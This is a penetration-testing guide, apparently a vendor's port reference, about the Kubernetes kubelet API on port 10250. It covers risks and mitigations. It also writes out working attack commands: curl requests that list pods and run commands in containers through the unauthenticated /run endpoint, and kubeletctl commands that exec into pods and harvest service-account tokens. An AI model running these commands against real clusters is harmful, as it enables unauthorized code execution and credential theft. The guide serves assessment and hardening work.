Service:
Kubernetes kubelet (kubelet API)Protocol:
TCPPort:
10250Used for:
The authenticated HTTPS API of the Kubernetes kubelet on every worker node, used by the control plane to inspect pods, stream logs, and run commands inside containersPort 10250 is the HTTPS API of the kubelet, the Kubernetes node agent that runs on every worker (and control-plane) node in a cluster. The kubelet is the process that actually starts, stops, and supervises containers on its node, and it exposes a small REST API on 10250 so the control plane can manage those workloads — list the pods running here, stream their logs, pull metrics, and, critically, exec or run commands inside any container on the node. That last capability is why an exposed port 10250 is one of the highest-value findings in a Kubernetes assessment: reach a kubelet that isn’t enforcing authentication and you don’t just read the node, you get a shell inside its pods. The kubelet’s older, unauthenticated read-only twin on port 10255 (deprecated, and disabled by default in modern clusters) leaks much of the same information with no credentials at all.
Why It’s Open
Port 10250 is open because Kubernetes needs it open — it is core plumbing, not an optional add-on. The API server on port 6443 and other control-plane components call each kubelet’s API to schedule work, fetch kubectl logs and kubectl exec streams, and gather node and pod statistics. Every node in the cluster therefore listens on 10250, and the port is meant to be reachable from the control plane over the cluster’s internal network.
The problem is almost never that the port is open — it is who can reach it and whether it checks credentials. A kubelet started with defaults uses --anonymous-auth=true and --authorization-mode=AlwaysAllow, meaning it answers every request with no authentication and no authorization check. Cluster installers like kubeadm override this (anonymous auth off, Webhook authorization on), but hand-rolled clusters, older installs, and misconfigured nodes routinely leave the kubelet wide open. When such a node is also reachable from a pod network, a neighbouring workload, or — worst case — the public internet, port 10250 turns from internal plumbing into a direct route onto the node.
Common Risks
- Anonymous authentication (
--anonymous-auth=true). The dominant risk on this port. If the kubelet accepts unauthenticated requests, anyone who can reach 10250 can call its full API — no CVE required, the exposure is the misconfiguration. - Remote command execution inside pods. The
/run/<ns>/<pod>/<container>and/exec/...endpoints run commands in any container on the node. On an open kubelet that is unauthenticated RCE inside every workload the node hosts. - Service-account token theft → cluster escalation. Once you can exec in a pod, you can read its mounted service-account token at
/var/run/secrets/kubernetes.io/serviceaccount/tokenand replay it against the API server on 6443 — turning a single node foothold into cluster-wide access if that account is over-permissioned. - Workload and secret disclosure.
/podsreturns every pod spec on the node, including environment variables, mounted config, and sometimes secrets embedded in manifests. - The deprecated read-only port 10255. When enabled, it serves
/pods,/metrics,/stats/summary, and/specover plain HTTP with no authentication at all — a free map of the node’s workloads. - Node-level pivoting. Commands run through the kubelet execute in a container’s context; combined with a privileged pod, host mounts, or a container escape, that can lead to full node compromise.
Want to save time on reporting?
Let PentestPad generate, track, and export your reports - automatically.

Enumeration & Testing
The goal on port 10250 is to answer two questions fast: is this a kubelet, and does it enforce authentication? Start with a version scan, then probe the API directly.
Detect the service
nmap -sV -p 10250,10255 <target>nmap -p 10250 --script ssl-cert <target>A kubelet presents as an ssl/http service; the TLS certificate often carries the node’s hostname, confirming a Kubernetes node.
Test for anonymous access (the key check)
# If /pods returns JSON without credentials, anonymous auth is oncurl -sk https://<target>:10250/pods | jq '.items[].metadata | {namespace, name}'A 401/403 means authentication is enforced (good); a JSON pod list means the kubelet is unauthenticated and every other endpoint is exposed too.
Run a command inside a container (proof of RCE)
# Synchronous /run endpoint — POST the command in the cmd parametercurl -sk https://<target>:10250/run/<namespace>/<pod>/<container> -d "cmd=id"Check the deprecated read-only port
# 10255 needs no auth when enabled — pure information leakcurl -s http://<target>:10255/podscurl -s http://<target>:10255/metricscurl -s http://<target>:10255/stats/summaryUse kubeletctl (CyberArk) for scanning and exploitation
# Scan a host or range for an exposed, exploitable kubeletkubeletctl scan rce --server <target>
# List pods, then exec in a chosen containerkubeletctl pods --server <target>kubeletctl exec "id" -p <pod> -c <container> -n <namespace> --server <target>
# Harvest service-account tokens from every pod on the nodekubeletctl scan token --server <target>Broader cluster recon with kube-hunter
kube-hunter --remote <target>Record every open port 10250/10255, whether it answered unauthenticated, and any token or exec result you obtained, so the evidence lands in the pentest report instead of a scratch terminal you’ll lose.
What to Look For
| Checkpoint | What it means |
|---|---|
/pods returns JSON without credentials |
Anonymous auth is on — full read of every workload on the node |
/run/<ns>/<pod>/<container> executes cmd=id |
Unauthenticated remote code execution inside any pod on the node |
| Port 10255 open and answering over HTTP | Deprecated read-only port leaking pods/metrics/stats with no auth |
| Service-account token readable from a pod | Pivot to the API server on 6443 with that account’s RBAC |
| TLS cert names a node hostname | Confirms a Kubernetes node; version banner hints at applicable bugs |
401/403 on /pods |
Authentication is enforced — a valid token or client cert is required |
Known CVEs and Exploits
The single most important thing to understand about port 10250 is that the dominant risk is a misconfiguration, not a CVE. A kubelet running with --anonymous-auth=true and AlwaysAllow authorization hands out /pods, /run, and /exec to anyone who can reach it — there is no exploit to write, because the exec capability is a documented feature being used without a gate. Most real-world kubelet compromises are exactly this, so the enumeration above (does /pods answer unauthenticated?) matters more than any CVE list.
- CVE-2018-1002105 — A critical (CVSS 9.8) flaw in the way the Kubernetes API server (
kube-apiserver) handled error responses to proxied upgrade requests. It let an attacker establish a connection through the API server to a backend server — including a kubelet — and then send arbitrary requests directly to that backend, authenticated with the API server’s own TLS credentials. In practice that meant reaching the kubelet’sexec/runAPI without valid kubelet authorization, i.e. running commands in pods via the very proxy path 10250 is built for. Fixed in Kubernetes v1.10.11, v1.11.5, and v1.12.3.
No fabricated or wrong-service CVEs are carried on this page. Beyond the item above, there is no single “port 10250 RCE” CVE that defines the risk here — treat the anonymous-auth/AlwaysAllow misconfiguration as the primary issue and verify any additional CVE against its NVD record and Kubernetes version range before relying on it.
Mitigation
- Turn off anonymous auth. Set
--anonymous-auth=falseand--authorization-mode=Webhookon every kubelet so the API server (and only the API server) is authorized. kubeadm applies this by default — confirm your nodes actually match. - Disable the read-only port. Set
--read-only-port=0to close 10255 entirely; it has no place on a modern cluster. - Firewall 10250/10255 to the control plane. These ports should never be reachable from pod networks, tenant workloads, or the internet — restrict them to control-plane source addresses with host firewalls, security groups, and NetworkPolicy.
- Least-privilege service accounts. Assume a pod can be exec’d into: scope each workload’s service account tightly, set
automountServiceAccountToken: falsewhere a token isn’t needed, and don’t bind pods to cluster-admin. This blunts the token-theft pivot to 6443. - Watch the neighbours. Lock down the local
kubectl proxyon port 8001, the etcd datastore on 2379, and any API surface fronted by a load balancer on 443 — a hardened kubelet doesn’t help if another control-plane door is open. - Enable audit logging and rescan. Log kubelet access, then verify with
curl -sk https://<node>:10250/podsthat an unauthenticated request is now rejected.
Real-World Example
The canonical port 10250 attack chain needs no zero-day. An attacker who reaches an exposed kubelet runs kubeletctl scan rce (or a plain curl -sk https://<node>:10250/pods) to confirm anonymous access, lists the pods on the node, then execs into one to run commands inside the container. From there they read the pod’s mounted service-account token and replay it against the API server on 6443 — and if that account is over-permissioned, a single unauthenticated node becomes cluster-wide control.
This is not theoretical. Palo Alto Unit 42’s analysis of the TeamTNT “Hildegard” campaign documented malware spreading through Kubernetes clusters by abusing misconfigured, internet-reachable kubelets to execute commands inside containers and drop cryptominers, and CyberArk built the widely used kubeletctl tool specifically because exposed kubelets are so common. Shodan routinely turns up thousands of hosts answering on 10250 and 10255, and the ones with anonymous auth are, in effect, unauthenticated shells into other people’s clusters. When you reproduce this chain in an engagement, capture the unauthenticated /pods response and any exec output as proof in your pentest report — it is the difference between “the kubelet is exposed” and a demonstrated node-to-cluster takeover.
FAQ
What is port 10250 used for?
Port 10250 is the Kubernetes kubelet’s HTTPS API. Every node runs a kubelet, and the control plane uses this port to manage the containers on that node — listing pods, streaming logs, gathering metrics, and running kubectl exec/kubectl logs commands. It is essential internal plumbing that is meant to be reached only by the API server over the cluster network.
Is port 10250 dangerous to expose?
Very, if the kubelet allows anonymous authentication. A kubelet with --anonymous-auth=true answers its full API — including the command-execution endpoints — to anyone who can reach 10250, giving unauthenticated remote code execution inside the node’s pods. A properly configured kubelet (anonymous auth off, Webhook authorization on) rejects unauthenticated requests, but the port should still be firewalled to the control plane.
What is the difference between port 10250 and 10255?
10250 is the read-write kubelet API served over HTTPS, and it is supposed to require authentication. 10255 is the older read-only port served over plain HTTP with no authentication at all; when enabled it leaks /pods, /metrics, /stats/summary, and /spec. 10255 is deprecated and disabled by default in modern clusters — if you still see it open, close it with --read-only-port=0.
Can an attacker really run commands through the kubelet API?
Yes, when the kubelet is unauthenticated. The /run/<namespace>/<pod>/<container> endpoint executes a command supplied in the cmd parameter, and /exec/... sets up an interactive stream. Tools like CyberArk’s kubeletctl (kubeletctl exec) automate this. On a kubelet that enforces authentication, these calls return 401/403 without a valid token or client certificate.
How does an exposed kubelet lead to full cluster compromise?
By stealing credentials. Once an attacker execs into a pod through the kubelet, they read that pod’s service-account token from /var/run/secrets/kubernetes.io/serviceaccount/token and use it to authenticate to the API server on port 6443. If the service account has broad RBAC permissions, the attacker inherits them — turning one node into control over the whole cluster. Least-privilege service accounts are the main defence against this pivot.
How do I secure or test port 10250?
Test it by checking whether curl -sk https://<node>:10250/pods returns a pod list without credentials — if it does, anonymous auth is on. To secure it, set --anonymous-auth=false and --authorization-mode=Webhook, disable the read-only port with --read-only-port=0, firewall 10250 to control-plane sources only, and scope pod service accounts to least privilege so a kubelet foothold can’t escalate to the API server.
TL;DR
- Service: Kubernetes kubelet API (the node agent that manages containers on each node)
- Default port: 10250/TCP (HTTPS, read-write); 10255/TCP is the deprecated, unauthenticated read-only port
- Biggest risk: a kubelet with anonymous auth (
--anonymous-auth=true) — unauthenticatedexec/runinside any pod, service-account token theft, and pivot to the API server on 6443 - Mitigation: disable anonymous auth and use Webhook authorization, set
--read-only-port=0, firewall 10250/10255 to the control plane, and scope pod service accounts to least privilege